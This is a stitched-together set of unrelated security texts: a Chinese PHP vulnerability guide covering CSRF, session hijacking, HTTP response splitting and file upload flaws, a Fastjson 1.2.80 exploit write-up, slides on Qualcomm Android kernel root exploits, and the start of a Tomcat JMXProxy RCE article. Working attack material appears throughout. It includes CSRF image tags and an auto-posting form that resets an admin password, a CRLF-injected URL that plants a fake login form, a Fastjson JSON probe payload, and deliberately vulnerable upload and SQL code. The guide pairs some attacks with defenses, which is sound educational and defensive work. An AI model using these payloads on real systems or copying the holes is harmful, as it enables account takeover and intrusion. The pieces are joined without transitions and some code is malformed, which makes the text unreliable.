又是合法用户拥有合法权限,所以目标用户能够在网站内执行特定的 HTTP 链接,从而达到攻击者的目的。
例如:某个购物网站购买商品时,采用 http://www.shop.com/buy.php?item=watch&num=1,item
参数确定要购买什么物品,num 参数确定要购买数量,如果攻击者以隐藏的方式发送给目标用户链接
<img src="http://www.shop.com/buy.php?item=watch&num=1000"/>,那么如果目标用户不
小心访问以后,购买的数量就成了 1000 个
实例
随缘网络 PHP 留言板 V1.0
任意删除留言
//delbook.php 此页面用于删除留言
<?php
include_once("dlyz.php"); //dlyz.php 用户验证权限,当权限是 admin 的时候方可删除留言
include_once("../conn.php");
$del=$_GET["del"];
$id=$_GET["id"];
if ($del=="data")
{
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
$ID_Dele= implode(",",$_POST['adid']);
$sql="delete from book where id in (".$ID_Dele.")";
mysql_query($sql);
}
else
{
$sql="delete from book where id=".$id; //传递要删除的留言 ID
mysql_query($sql);
}
mysql_close($conn);
echo "<script language=’javascript’>";
echo "alert(‘删除成功!’);";
echo " location=’book.php’;";
echo "</script>";
?>
当我们具有 admin 权限,提交 http://localhost/manage/delbook.php?id=2 时,就会删除 id 为 2
的留言
利用方法:
我们使用普通用户留言(源代码方式),内容为
<img src="delbook.php?id=2" />
<img src="delbook.php?id=3" />
<img src="delbook.php?id=4" />
<img src="delbook.php?id=5" />
插入 4 张图片链接分别删除 4 个 id 留言,然后我们返回首页浏览看,没有什么变化。。图片显示不了
现在我们再用管理员账号登陆后,来刷新首页,会发现留言就剩一条,其他在图片链接中指定的 ID 号的
留言,全部都被删除。
攻击者在留言中插入隐藏的图片链接,此链接具有删除留言的作用,而攻击者自己访问这些图片链接的时
候,是不具有权限的,所以看不到任何效果,但是当管理员登陆后,查看此留言,就会执行隐藏的链接,
而他的权限又是足够大的,从而这些留言就被删除了
修改管理员密码
//pass.php
if($_GET["act"])
{
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>设计制作:<a href=http://www.115cn.cn>厦门随缘
网络科技</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
username=’".$username."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright
."’ where id=1";
}
else
{
$sql="update gly set
username=’".$username."’,password=’".$password."’,sh=".$sh.",gg=’".$gg."’,title=’".$title
."’,copyright=’".$copyright."’ where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language=’javascript’>";
echo "alert(‘修改成功!’);";
echo " location=’pass.php’;";
echo "</script>";
}
这个文件用于修改管理密码和网站设置的一些信息,我们可以直接构造如下表单:
<body>
<form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1"
id="form1">
<input type="radio" value="1" name="sh">
<input type="radio" name="sh" checked value="0">
<input type="text" name="username" value="root">
<input type="password" name="password" value="root">
<input type="text" name="title" value="随缘网络 PHP 留言板 V1.0(带审核功能)" >
<textarea name="gg" rows="6" cols="80" >欢迎您安装使用随缘网络 PHP 留言板 V1.0(带审核
功能)!</textarea>
<textarea name="copyright" rows="6" cols="80" >随缘网络 PHP 留言本 V1.0 版权所有:厦门
随缘网络科技 2005-2009<br/>承接网站建设及系统定制 提供优惠主机域名</textarea>
</form>
</body>
存为 attack.html,放到自己网站上 http://www.sectop.com/attack.html,此页面访问后会自动向目
标程序的 pass.php 提交参数,用户名修改为 root,密码修改为 root,然后我们去留言板发一条留言,隐
藏这个链接,管理访问以后,他的用户名和密码全部修改成了 root
防范方法
防范 CSRF 要比防范其他攻击更加困难,因为 CSRF 的 HTTP 请求虽然是攻击者伪造的,但是却是由目标
用户发出的,一般常见的防范方法有下面几种:
1、检查网页的来源
2、检查内置的隐藏变量
3、使用 POST,不要使用 GET
检查网页来源
在//pass.php 头部加入以下红色字体代码,验证数据提交
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
if($_GET["act"])
{
if(isset($_SERVER["HTTP_REFERER"]))
{
$serverhost = $_SERVER["SERVER_NAME"];
$strurl = str_replace("http://","",$_SERVER["HTTP_REFERER"]);
$strdomain = explode("/",$strurl);
$sourcehost = $strdomain[0];
if(strncmp($sourcehost, $serverhost, strlen($serverhost)))
{
unset($_POST);
echo "<script language=’javascript’>";
echo "alert(‘数据来源异常!’);";
&
nbsp; echo " location=’index.php’;";
echo "</script>";
}
}
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>设计制作:<a href=http://www.115cn.cn>厦门随缘
网络科技</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set
username=’".$username."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright
."’ where id=1";
}
else
{
$sql="update gly set
username=’".$username."’,password=’".$password."’,sh=".$sh.",gg=’".$gg."’,title=’".$title
."’,copyright=’".$copyright."’ where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language=’javascript’>";
echo "alert(‘修改成功!’);";
echo " location=’pass.php’;";
echo "</script>";
}
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
检查内置隐藏变量
我们在表单中内置一个隐藏变量和一个 session 变量,然后检查这个隐藏变量和 session 变量是否相等,
以此来判断是否同一个网页所调用
<?php
include_once("dlyz.php");
include_once("../conn.php");
if($_GET["act"])
{
if (!isset($_SESSION["post_id"]))
{
// 生成唯一的 ID,并使用 MD5 来加密
$post_id = md5(uniqid(rand(), true));
// 创建 Session 变量
$_SESSION["post_id"] = $post_id;
}
// 检查是否相等
if (isset($_SESSION["post_id"]))
{
// 不相等
if ($_SESSION["post_id"] != $_POST["post_id"])
{
// 清除 POST 变量
unset($_POST);
echo "<script language=’javascript’>";
echo "alert(‘数据来源异常!’);";
echo " location=’index.php’;";
echo "</script>";
}
}
……
<input type="reset" name="Submit2" value="重 置">
<input type="hidden" name="post_id" value="<?php echo $_SESSION["post_id"];?>">
</td></tr>
</table>
</form>
<?php
}
mysql_close($conn);
?>
</body>
</html>
使用 POST,不要使用 GET
传递表单字段时,一定要是用 POST,不要使用 GET,处理变量也不要直接使用$_REQUEST
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
PHP 漏洞全解(七)-Session 劫持
服务端和客户端之间是通过 session(会话)来连接沟通。当客户端的浏览器连接到服务器后,服务器就会
建立一个该用户的 session。每个用户的 session 都是独立的,并且由服务器来维护。每个用户的 session
是由一个独特的字符串来识别,成为 session id。用户发出请求时,所发送的 http 表头内包含 session id
的值。服务器使用 http 表头内的 session id 来识别时哪个用户提交的请求。
session 保存的是每个用户的个人数据,一般的 web 应用程序会使用 session 来保存通过验证的用户
账号和密码。在转换不同的网页时,如果需要验证用户身份,就是用 session 内所保存的账号和密码来比
较。session 的生命周期从用户连上服务器后开始,在用户关掉浏览器或是注销时用户 session_destroy
函数删除 session 数据时结束。如果用户在 20 分钟内没有使用计算机的动作,session 也会自动结束。
php 处理 session 的应用架构
会话劫持
会话劫持是指攻击者利用各种手段来获取目标用户的 session id。一旦获取到 session id,那么攻击者可
以利用目标用户的身份来登录网站,获取目标用户的操作权限。
攻击者获取目标用户 session id 的方法:
1)暴力破解:尝试各种 session id,直到破解为止。
2)计算:如果 session id 使用非随机的方式产生,那么就有可能计算出来
3)窃取:使用网络截获,xss 攻击等方法获得
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
会话劫持的攻击步骤
实例
//login.php
<?php
session_start();
if (isset($_POST["login"]))
{
$link = mysql_connect("localhost", "root", "root")
or die("无法建立 MySQL 数据库连接:" . mysql_error());
mysql_select_db("cms") or die("无法选择 MySQL 数据库");
if (!get_magic_quotes_gpc())
{
$query = "select * from member where username=’" .
addslashes($_POST["username"]) .
"’ and password=’" . addslashes($_POST["password"]) . "’";
}
else
{
$query = "select * from member where username=’" . $_POST["username"] .
"’ and password=’" . $_POST["password"] . "’";
}
$result = mysql_query($query)
or die("执行 MySQL 查询语句失败:" . mysql_error());
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
$match_count = mysql_num_rows($result);
if ($match_count)
{
$_SESSION["username"] = $_POST["username"];
$_SESSION["password"] = $_POST["password"];
$_SESSION["book"] = 1;
mysql_free_result($result);
mysql_close($link);
header("Location: http://localhost/index.php?user=" .
$_POST["username"]);
}
…..
//index.php
<?php
// 打开 Session
session_start();
<p>
访客的 Session ID 是:<?php echo session_id(); ?>
</p>
<p>
访客:<?php echo htmlspecialchars($_GET["user"], ENT_QUOTES); ?>
</p>
<p>
book 商品的数量:<?php echo htmlspecialchars($_SESSION["book"], ENT_QUOTES); ?>
如果登录成功,使用
$_SESSION["username"] 保存账号
$_SESSION["password"] 保存密码
#_SESSION["book"] 保存购买商品数目
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
登录以后显示
开始攻击
//attack.php
<?php
// 打开 Session
session_start();
echo "目标用户的 Session ID 是:" . session_id() . "<br />";
echo "目标用户的 username 是:" . $_SESSION["username"] . "<br />";
echo "目标用户的 password 是:" . $_SESSION["password"] . "<br />";
// 将 book 的数量设置为 2000
$_SESSION["book"] = 2000;
?>
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
提交 http://localhost/attack.php?PHPSESSID=5a6kqe7cufhstuhcmhgr9nsg45 此 ID 为获取到
的客户 session id,刷新客户页面以后
客户购买的商品变成了 2000
session 固定攻击
黑客可以使用把 session id 发给用户的方式,来完成攻击
http://localhost/index.php?user=dodo&PHPSESSID=1234 把此链接发送给 dodo 这个用户显示
然后攻击者再访问 http://localhost/attack.php?PHPSESSID=1234 后,客户页面刷新,发现
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
商品数量已经成了 2000
防范方法
1)定期更改 session id
函数 bool session_regenerate_id([bool delete_old_session])
delete_old_session 为 true,则删除旧的 session 文件;为 false,则保留旧的 session,默认
false,可选
在 index.php 开头加上
<?php
session_start();
session_regenerate_id(TRUE);
……
这样每次从新加载都会产生一个新的 session id
2)更改 session 的名称
session 的默认名称是 PHPSESSID,此变量会保存在 cookie 中,如果黑客不抓包分析,就不能猜到这个
名称,阻挡部分攻击
<?php
session_start();
session_name("mysessionid");
……
3)关闭透明化 session id
透明化 session id 指当浏览器中的 http 请求没有使用 cookies 来制定 session id 时,sessioin id 使用
链接来传递;打开 php.ini,编辑
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
session.use_trans_sid = 0
代码中
<?php
int_set("session.use_trans_sid", 0);
session_start();
……
4)只从 cookie 检查 session id
session.use_cookies = 1 表示使用 cookies 存放 session id
session.use_only_cookies = 1 表示只使用 cookies 存放 session id,这可以避免 session 固定攻击
代码中
int_set("session.use_cookies", 1);
int_set("session.use_only_cookies", 1); p>
5)使用 URL 传递隐藏参数
<?php
session_start();
$seid = md5(uniqid(rand()), TRUE));
$_SESSION["seid"] = $seid;
攻击者虽然能获取 session 数据,但是无法得知$seid 的值,只要检查 seid 的值,就可以确认当前页面是
否是 web 程序自己调用的。
PHP 漏洞全解(八)-HTTP 响应拆分
HTTP 请求的格式
1)请求信息:例如“Get /index.php HTTP/1.1”,请求 index.php 文件
2)表头:例如“Host: localhost”,表示服务器地址
3)空白行
4)信息正文
“请求信息”和“表头”都必须使用换行字符(CRLF)来结尾,空白行只能包含换行符,不可以有其他空格符。
下面例子发送 HTTP 请求给服务器 www.yhsafe.com
GET /index.php HTTP/1.1↙ //请求信息
Host:www.yhsafe.com↙ //表头
↙ //空格行
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
↙
↙符号表示回车键,在空白行之后还要在按一个空格才会发送 HTTP 请求,HTTP 请求的表头中只有
Host 表头是必要的饿,其余的 HTTP 表头则是根据 HTTP 请求的内容而定。
HTTP 请求的方法
1)GET:请求响应
2)HEAD:与 GET 相同的响应,只要求响应表头
3)POST:发送数据给服务器处理,数据包含在 HTTP 信息正文中
4)PUT:上传文件
5)DELETE:删除文件
6)TRACE:追踪收到的请求
7)OPTIONS:返回服务器所支持的 HTTP 请求的方法
8)CONNECT:将 HTTP 请求的连接转换成透明的 TCP/IP 通道
HTTP 响应的格式
服务器在处理完客户端所提出的 HTTP 请求后,会发送下列响应。
1)第一行是状态码
2)第二行开始是其他信息
状态码包含一个标识状态的数字和一个描述状态的单词。例如:
HTTP/1.1 200 OK
200 是标识状态的是数字,OK 则是描述状态的单词,这个状态码标识请求成功。
HTTP 请求和响应的例子
打开 cmd 输入 telnet,输入 open www.00aq.com 80
打开连接后输入
GET /index.php HTTP/1.1↙
Host:www.00aq.com↙
返回 HTTP 响应的表头
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
返回的首页内容
使用 PHP 来发送 HTTP 请求
header 函数可以用来发送 HTTP 请求和响应的表头
函数原型
void header(string string [, bool replace [, int http_response_code]])
string 是 HTTP 表头的字符串
如果 replace 为 TRUE,表示要用目前的表头替换之前相似的表头;如果 replace 为 FALSE,表示
要使用多个相似的表头,默认值为 TRUE
http_response_code 用来强制 HTTP 响应码使用 http_response_code 的值
实例:
<?php
// 打开 Internet socket 连接
$fp = fsockopen(www.00aq.com, 80);
// 写入 HTTP 请求表头
fputs($fp, "GET / HTTP/1.1\r\n");
fputs($fp, "Host: www.00aq.com\r\n\r\n");
// HTTP 响应的字符串
$http_response = "";
while (!feof($fp))
{
// 读取 256 位的 HTTP 响应字符串
$http_response .= fgets($fp, );
}
// 关闭 Internet socket 连接
fclose($fp);
// 显示 HTTP 响应信息
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
echo nl2br(htmlentities($http_response));
?>
HTTP 响应拆分攻击
HTTP 响应拆分是由于攻击者经过精心设计利用电子邮件或者链接,让目标用户利用一个请求产生两个响
应,前一个响应是服务器的响应,而后一个则是攻击者设计的响应。此攻击之所以会发生,是因为 WEB
程序将使用者的数据置于 HTTP 响应表头中,这些使用者的数据是有攻击者精心设计的。
可能遭受 HTTP 请求响应拆分的函数包括以下几个:
header(); setcookie(); session_id(); setrawcookie();
HTTP 响应拆分通常发生在:
Location 表头:将使用者的数据写入重定向的 URL 地址内
Set-Cookie 表头:将使用者的数据写入 cookies 内
实例:
<?php
header("Location: " . $_GET['page']);
?>
请求
GET /location.php?page=http://www.00aq.com HTTP/1.1↙
Host: localhost↙
↙
返回
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
HTTP/1.1 302 Found
Date: Wed, 13 Jan 2010 03:44:24 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Location: http://www.00aq.com
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
访问下面的链接,会直接出现一个登陆窗口
http://localhost/location.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.
1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%20158%
0d%0a%0d%0a<html><body><form%20method=post%20name=form1>帐
号%20<input%20type=text%20name=username%20/><br%20/>密
码%20<input%20name=password%20type=password%20/><br%20/><input%20type=s
ubmit%20name=login%20value=登录%20/></form></body></html>
转换成可读字符串为:
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 158
<html><body><form method=post name=form1>帐号 <input type=text name=username
/><br />密码 <input name=password type=password /><br /><input type=submit
name=login value=登录 /></form></body></html>
一个 HTTP 请求产生了两个响应
防范的方法:
1)替换 CRLF 换行字符
<?php
header("Location: " . strtr($_GET['page'], array("\r"=>"", "\n"=>"")));
?>
2)使用最新版本的 PHP
PHP 最新版中,已经不允许在 HTTP 表头内出现换行字符
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
隐藏 HTTP 响应表头
apache 中 httpd.conf,选项 ServerTokens = Prod, ServerSignature = Off
php 中 php.ini,选项 expose_php = Off
PHP 漏洞全解(九)-文件上传漏洞
一套 web 应用程序,一般都会提供文件上传的功能,方便来访者上传一些文件。
下面是一个简单的文件上传表单
<form action="upload.php" method="post" enctype="multipart/form-data" name="form1">
<input type="file" name="file1" /><br />
<input type="submit" value="上传文件" />
<input type="hidden" name="MAX_FILE_SIZE" value="1024" />
</form>
php 的配置文件 php.ini,其中选项 upload_max_filesize 指定允许上传的文件大小,默认是 2M
$_FILES 数组变量
PHP 使用变量$_FILES 来上传文件,$_FILES 是一个数组。如果上传 test.txt,那么$_FILES 数组的内
容为:
$FILES
Array
{
[file] => Array
{
[name] => test.txt //文件名称
[type] => text/plain //MIME 类型
[tmp_name] => /tmp/php5D.tmp //临时文件
[error] => 0 //错误信息
[size] => 536 //文件大小,单位字节
}
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
}
如果上传文件按钮的 name 属性值为 file
<input type="file" name="file" />
那么使用$_FILES['file']['name']来获得客户端上传文件名称,不包含路径。使用
$_FILES['file']['tmp_name']来获得服务端保存上传文件的临时文件路径
存放上传文件的文件夹
PHP 不会直接将上传文件放到网站根目录中,而是保存为一个临时文件,名称就是
$_FILES['file']['tmp_name']的值,开发者必须把这个临时文件复制到存放的网站文件夹中。
$_FILES['file']['tmp_name']的值是由 PHP 设置的,与文件原始名称不一样,开发者必须使用
$_FILES['file']['name']来取得上传文件的原始名称。
上传文件时的错误信息
$_FILES['file']['error']变量用来保存上传文件时的错误信息,它的值如下:
错误信息
数值
说 明
UPLOAD_ERR_OK
0
没有错误
UPLOAD_ERR_INI_SIZE
1
上传文件的大小超过 php.ini 的设置
UPLOAD_ERR_FROM_SIZE
2
上传文件的大小超过 HTML 表单中 MAX_FILE_SIZE 的值
UPLOAD_ERR_PARTIAL
3
只上传部分的文件
UPLOAD_ERR_NO_FILE
4
没有文件上传
文件上传漏洞
如果提供给网站访问者上传图片的功能,那必须小心访问者上传的实际可能不是图片,而是可以指定的 PHP
程序。如果存放图片的目录是一个开放的文件夹,则入侵者就可以远程执行上传的 PHP 文件来进行攻击。
下面是一个简单的文件上传例子:
<?php
// 设置上传文件的目录
$uploaddir = "D:/www/images/";
// 检查 file 是否存在
if (isset($_FILES['file1']))
{
// 要放在网站目录中的完整路径,包含文件名
$uploadfile = $uploaddir . $_FILES['file1']['name'];
// 将服务器存放的路径,移动到真实文件名
move_uploaded_file($_FILES['file1']['tmp_name'], $uploadfile);
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
}
?>
……
<form method="post" enctype="multipart/form-data" name="form1">
<input type="file" name="file1" /><br />
<input type="submit" value="上传文件" />
<input type="hidden" name="MAX_FILE_SIZE" value="1024" />
</form>
这个例子没有检验文件后缀,可以上传任意文件,很明显的上传漏洞 | pdf |
Fastjson1.2.80漏洞复现
2022-09-01 · Web安全
Fastjson于5月23日,在commit 560782c与commit 097bff1中更新了security_update_20220523的修复方案。调
整黑白名单的同时额外判断了 Exception ,并在添加类缓存mappings前新增了 autoTypeSupport 的判断。
显而易见 Exception 的派生类中出了叛徒,不久后fastjson-blacklist更新了黑名单类名,直到前几天漏洞作者i
SafeBlue公开了思路与Gadgets,本文是对浅蓝师傅议题中留下的一点小作业的复现记录。
期望类与类缓存
不太了解的同学可以参考上一篇《Fastjson-autoType漏洞总结》,1.2.80第一步依然是基于众所周知的期望类
机制将其它类加入类缓存,关键在于怎么横向出 Exception 之外的其它类型。
Fastjson反序列化恢复类实例时,自然也需要恢复用到了的类属性。如果这个属性是可利用的类且我们可控,
是不是就能直接利用 或者进一步横向扩展出其它类间接利用。上一篇我们说到了期望类不但可以由JSON显
式指定,同样可以由类间关系隐式确定,那么依靠属性名赋值时的隐式类间关系,也就不再需要在JSON中显
式指定 @type ,从而绕过了 autoType 的白名单检查。
实例化类属性的对应类后,fastjson会将其加入到类缓存mappings中,从缓存中取类在修复前不会判断
autoTypeSupport ,所以绕过了类白名单机制扩展出更多的可用类。
利用流程
1. 指定显式期望类,实例化 XXXException 并被加入类缓存
2. 通过 XXXException 中可控的属性名/参数名,由隐式类间关系实例化并被加入类缓存
3. 直接从缓存中拿出来用,或者进一步递归让其它类被加入到缓存
第二步的重点在于,既然不能显示指定期望类,就只能依靠 deserializer 去自动处理,我们需要构造出让它
解析时进到特定 deserializer 分支的特定格式。对此我提供一个 aspectj 读文件的具体实现便于师傅们理
解复现。更多Gadgets浅蓝师傅在Slides中写得很清楚了,可以自行构造。
https://github.com/hosch3n/FastjsonVulns
两点小坑
再提醒两点小坑,一是如果DNSLog是用p师傅的CoNote,存在下划线时是不会被记录到的(这个问题让我自
闭了一阵
二是目前测试来看只有MacOS可以ping带花括号的域名,Linux和Windows会报错。所以这个探测链的Poc需要
要合适的报错环境才能看到结果。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"@type":"java.net.Inet4Address",
"val":{
"@type":"java.lang.String"{
"@type":"java.util.Locale",
"val":{
"@type":"com.alibaba.fastjson.JSONObject",{
"@type":"java.lang.String"
"@type":"java.util.Locale",
"country":"g.token.dnslog.pw",
"language":{
"@type":"java.lang.String"{
"x":{
"@type":"java.lang.Class",
"val":"org.python.antlr.ParseException"
}
}
}
}
}
Code | pdf |
1
Adam Donenfeld
STUMPING THE
MOBILE CHIPSET
New 0days from down under
AGENDA
• Android chipsets overview in ecosystem
• Qualcomm chipset subsystem’s overview
• New kernel vulnerabilities
• Exploitation of a new kernel vulnerability
• Conclusions
~ $ man Adam
ADAM DONENFELD
• Years of experience in research (both PC and mobile).
• Vulnerability assessment
• Vulnerability exploitation
• Senior security researcher at Check Point
• In meiner Freizeit, lerne ich Deutsch gern
4
How Android gets to your device
OEM
Chipset code
Android Project
Linux Kernel
Carrier
5
Qualcomm’s chipset subsystems
[Protected] Non-confidential content
Qualcomm
IPC Router
GPU
Thermal
QSEECOM
Performance
Audio
6
The Rooting Zoo
7
ASHmenian Devil (ashmem vulnerability)
CVE-2016-5340
●Qualcomm ‘expands’ ashmem for the GPU
Map ashmem to GPU
●Passing ashmem fd to map
8
ASHmenian devil (ashmem vulnerability)
9
ASHmenian devil (ashmem vulnerability)
●Qualcomm ‘expands’ ashmem for the GPU
Map ashmem to GPU
●Passing ashmem fd to map
●Is our fd an ashmem file descriptor?
10
ASHmenian devil (ashmem vulnerability)
●Qualcomm ‘expands’ ashmem for the GPU
●Map ashmem to GPU
●Passing ashmem fd to map
●Is the fd an ashmem fd?
11
ASHmenian devil (ashmem vulnerability)
●Qualcomm ‘expands’ ashmem for the GPU
●Map ashmem to GPU
●Passing ashmem fd to map
12
ASHmenian devil – PoC
●Filename on root path == “ashmem”
●/ is read-only
●/sdcard is a symlink
●Obb (Opaque Binary Blob)
13
ASHmenian devil – PoC
●Create an OBB
With “ashmem” in it’s root directory
●Mount the OBB
●Map “ashmem” memory to the GPU
Pass a fd to your fake ashmem file
14
Qualaroot (IPC Router vulnerability)
CVE-2016-2059
●Qualcomm’s IPC router
●Special socket family
AF_MSM_IPC (27)
●Unique features
“Whitelist” for services that are permitted to communicate
Everyone gets an “address” for communication
Creation\destruction can be monitored by anyone
●Requires no permission
15
Qualaroot
●AF_MSM_IPC socket types
●CLIENT_PORT
●SERVER_PORT
●IRSC_PORT
●CONTROL_PORT
Conversion via IPC_ROUTER_IOCTL_BIND_CONTROL_PORT
●Each new socket is a CLIENT_PORT socket
16
Qualaroot
17
18
Client list
Control list
Client list
Control list
19
Client list
Control list
Client list
Control list
20
Qualaroot – the vulnerability
●control_ports list is modified without lock!
●Deleting 2 objects from control_ports
simultaneously!
RACE CONDITION
21
Qualaroot - implementation
control_ports
A
B
C
POISON
22
Qualaroot - implementation
control_ports
A
B
C
entry = A
next = B
prev = control_ports
B->prev = control_ports
POISON
23
Qualaroot - implementation
entry = A
Next = B
Prev = control_ports
B->prev = control_ports
POISON
control_ports
A
B
C
24
Qualaroot - implementation
25
Qualaroot - implementation
entry = B
Next = C
Prev = control_ports
C->prev = control_ports
POISON
control_ports
A
B
C
26
Qualaroot - implementation
entry = B
Next = C
Prev = control_ports
C->prev = control_ports
POISON
control_ports
A
B
C
27
Qualaroot - implementation
entry = B
Next = C
Prev = control_ports
control_ports->next = C
POISON
control_ports
A
B
C
28
Qualaroot - implementation
entry = B
Next = C
Prev = control_ports
control_ports->next = C
POISON
control_ports
A
B
C
29
Qualaroot - implementation
entry = B
Next = C
Prev = control_ports
entry is freed
next = prev = LIST_POISON
POISON
control_ports
A
B
C
30
Qualaroot - implementation
entry = B
Next = C
Prev = control_ports
entry is freed
next = prev = LIST_POISON
POISON
control_ports
A
C
B
31
Qualaroot - implementation
32
Qualaroot - implementation
entry = A
Next = B
Prev = control_ports
control_ports->next = B
POISON
control_ports
A
C
B
33
Qualaroot - implementation
entry = A
Next = B
Prev = control_ports
control_ports->next = B
POISON
control_ports
A
C
B
34
Qualaroot - implementation
entry = A
Next = B
Prev = control_ports
entry is freed
next = prev = LIST_POISON
POISON
control_ports
A
C
B
35
Qualaroot - implementation
entry = A
Next = B
Prev = control_ports
entry is freed
next = prev = LIST_POISON
POISON
control_ports
A
C
B
36
Qualaroot - implementation
●Two following objects are deleted
Simultaneously!
●control_ports points to a FREE data
LIST_POISON worked
No longer mappable
Spraying af_unix_dgram works
●Iterations on control_ports?
Just close a client_port!
Notification to all control_ports with post_pkt_to_port
37
Qualaroot - implementation
●UAF in control_ports
●We can fake msm_ipc_port using
LIST_POISON*
●Iterations on control_ports?
●Just close a client_port!
●Notification to all control_ports with
post_pkt_to_port
38
Qualaroot - implementation
●wake_up function
Macros to __wake_up_common
39
Qualaroot - implementation
●wake_up function
●Macros to __wake_up_common
40
Qualaroot - implementation
●wake_up function
Macros to __wake_up_common
●New primitive!
Call to function with first controllable param!
We can’t control the address though
●Not good enough for commit_creds…
41
Qualaroot - implementation
●Upgrade primitives
●Find a function that can call an arbitrary
function with address-controlled parameters
42
Qualaroot - implementation
●usb_read_done_work_fn receives a function
pointer and a function argument!
43
Qualaroot - implementation
44
Qualaroot - implementation
●Chain function calls
__wake_up_common
usb_read_done_work_fn
any function
45
Qualaroot – Exploitation flow
Create UAF situation using the vulnerability
46
Qualaroot – Exploitation flow
LIST_POISON
UAF
Spray af_unix_dgrams to catch the UAF
47
Qualaroot – Exploitation flow
Spray af_unix_dgrams to catch the UAF
LIST_POISON
UAF
sprayed
Trigger list iteration
48
Qualaroot – Exploitation flow
Trigger list iteration
__wake_up_common
UAF->port_rx_wait_q->task_list
usb_read_work_done_fn
qdisc_list_del
control_ports is empty
usb_read_work_done_fn
enforcing_setup
SELinux is permissive
usb_read_work_done_fn
commit_creds
UID=0;
cap = FULL_CAP_SET
sprayed
49
Qualaroot
50
Disclosure
51
52
53
DEMO
54
Syncockaroot (syncsource vulnerability)
CVE-2016-2503
●SyncSource objects are used to
synchronize the activity between the GPU
and the application.
●Can be created using IOCTLs to the GPU
IOCTL_KGSL_SYNCSOURCE_CREATE
IOCTL_KGSL_SYNCSOURCE_DESTROY
●Referenced further with the “idr”
mechanism
55
Syncockaroot (syncsource vulnerability)
Any lock on “to-be-destroyed” object?
56
Syncockaroot - PoC
●Create a syncsource object
A predictable idr number is allocated
●Create 2 threads constantly destroying the
same idr number
●Ref-count will be reduced to -1
Right after getting to zero, we can spray it
Use After Free
57
KanGaroot (KGsl vulnerability)
CVE-2016-2504
●GPU main module (kgsl-3d0)
●Map user memory to the GPU
IOCTL_KGSL_MAP_USER_MEM
IOCTL_KGSL_GPUMEM_FREE_ID
●Referenced by a predictable ID
IDR mechanism
58
KanGaroot (KGsl vulnerability)
Should it already be accessible here?
59
KanGaroot (KGsl vulnerability)
●GPU main module (kgsl-3d0)
●Map user memory to the GPU
IOCTL_KGSL_MAP_USER_MEM
IOCTL_KGSL_GPUMEM_FREE_ID
●Referenced by a predictable ID
IDR mechanism
●No locks!
Free can be called before map ends
60
KanGaroot - PoC
●Map memory
●Save the IDR
We always get the first free IDR -- predictable
●Another thread frees the object with IDR
*Before the first thread returns from the IOCTL
UAF in kgsl_mem_entry_attach_process on
‘entry’ parameter
Suggestions/Special thanks
commit_creds for always being there for me
Absense of kASLR,
for not breaking me and commit_creds apart
SELinux, for being liberal,
letting anyone access mechanisms like Qualcomm’s IPC
62
Thank You! | pdf |
Tomcat JMXProxy RCE
0x00 前言
在介绍该漏洞之前有必要先进行一些说明
(1)不影响默认配置的 Tomcat
(2)不影响 SpringBoot 只影响通过 war 部署的项目
(3)该漏洞为利用链中的一环,配合第三方平台未授权访问或弱口令可以直接利用
既然官方不认,那我直接公开了
0x01 Manager
Tomcat 一直存在一个不是“漏洞”的漏洞: Tomcat Manager 导致上传 war 解压生成 webshell 的 RCE
在 tomcat/conf/tomcat-users.xml 配置
访问 /manager/html 输入用户名和密码,即可在里面上传 war 进行部署
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
显然这不归 Tomcat 负责,应该由用户保证自己的账号和密码安全
Tomcat 对于 Manager 的管理页面采用了 HTTP Basic 认证,也就是用户名密码拼接后 Base64 编码
如果想要暴力破解这个身份认证其实是不太可能的,因为 Tomcat 已经考虑到这个问题:参考
LockOutRealm 类的代码,默认在输入错误5次后会锁定5分钟。这也是 Tomcat 官方拒绝该漏洞的原因
之一,他们认为基于 JMXProxy 实现的 RCE 攻击和这个类似,由用户负责安全
其实值得关心的是: Tomcat 并不仅仅支持管理页面,同时支持 API 和 JMXProxy
如果 API 可以未授权访问也会导致严重的安全问题
使用 API 的方式是: http://{host}:{port}/manager/text/{command}?{parameters}
使用 API 部署 WAR 包:
如何使用 JMXProxy 做到 RCE 是本文的重点内容
public class LockOutRealm extends CombinedRealm {
/**
* The number of times in a row a user has to fail authentication to be
* locked out. Defaults to 5.
*/
protected int failureCount = 5;
/**
* The time (in seconds) a user is locked out for after too many
* authentication failures. Defaults to 300 (5 minutes).
*/
protected int lockOutTime = 300;
}
